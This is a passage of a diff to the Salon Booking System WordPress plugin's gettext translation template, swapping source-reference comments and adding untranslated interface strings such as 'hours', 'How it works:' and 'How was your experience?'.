..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:222\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:223\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:224\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:225\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:226\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:227\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:228\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:229\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:264\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:265\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:266\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:267\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:268\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:269\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:270\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:163\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:164\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:165\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:166\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:167\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:168\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:169\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:170\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:181\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:182\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:183\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:184\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:185\n+msgid \"hours\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:247, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:247, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:247, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:247, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:247, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:247\n-msgid \"Assistants will receive an e-mail when selected for a new booking.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:115\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:143\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:115\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:143\n+msgid \"Hours.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:258, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:258, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:258, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:258, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:258, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:258\n-msgid \"Manage staff\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:99\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:184\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_auto_align_slots.php:27\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:99\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:184\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_auto_align_slots.php:27\n+msgid \"How it works:\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:38\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:38\n+msgid \"How many days before the appointment the rescheduling is still allowed\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:261, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:261, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:261, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:261, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:261, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:261\n-msgid \"If you need to add or manage your staff members.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:48\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:48\n+msgid \"How many hours before the appointment the cancellation is still allowed\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:270, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:270, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:270, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:270, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:270, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:270\n-msgid \"New booking email notification to customer\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:57\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:57\n+msgid \"How many minutes lasts this Offset?\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:276, views\u002Fsettings\u002Ftab_general.php:325, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:276, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:325, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:276, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:325, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:276, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:325, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:276, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:325, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:276, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:325\n-msgid \"Email Subject\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:30\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:30\n+msgid \"How many people you can attend during a single time slot.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:277, views\u002Fsettings\u002Ftab_general.php:326, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:277, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:326, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:277, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:326, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:277, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:326, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:277, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:326, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:277, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:326\n-msgid \"You can use [DATE], [TIME], [SALON NAME]\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_booking.php:33\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:33\n+msgid \"How many people you can attend during a single time\u002Fsession?\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:279, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:279, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:279, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:279, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:279, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:279\n-msgid \"Disable new user welcome email\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fresource.php:12\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fresource.php:12\n+msgid \"How many reservations for the same date\u002Ftime slot ?\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:286, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:286, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:286, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:286, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:286, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:286\n-msgid \"Customize the booking notification message\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:136\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:136\n+msgid \"How was your experience with us this time? (required)\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:287, views\u002Fsettings\u002Ftab_general.php:330, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:287, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:330, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:287, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:330, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:287, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:330, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:287, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:330, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:287, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:330\n-msgid \"You can use [DATE], [TIME], [NAME], [SALON NAME]\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPlugin.php:292\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:292\n+msgid \"How was your experience?\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:295, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:295, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:295, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:295, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:295, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:295\n-msgid \"Email notifications service\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFormatter.php:107\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFormatter.php:107\n+msgid \"hr\"\n+msgid_plural \"hrs\"\n+msgstr[0] \"\"\n+msgstr[1] \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:201\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:201\n+msgid \"hrs\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:301, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:301, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:301, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:301, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:301, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:301\n-msgid \"Remind the appointment to the client with an Email\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41\n+msgid \"Html\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:304, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:304, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:304, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:304, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:304, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:304\n-msgid \"Email Timing\"\n+#. URI of the plugin\n+#. Author URI of the plugin\n+msgid \"http:\u002F\u002Fsalonbookingsystem.com\u002F\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:318, views\u002Fsettings\u002F_tab_general_sms.php:158, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:318, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:158, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:318, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:158, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:318, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:158, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:318, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:158, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:318, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:158\n-msgid \"Before the appointment\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:49\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:49\n+msgid \"I didn't receive the code, please send it again\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:329, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:329, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:329, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:329, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:329, 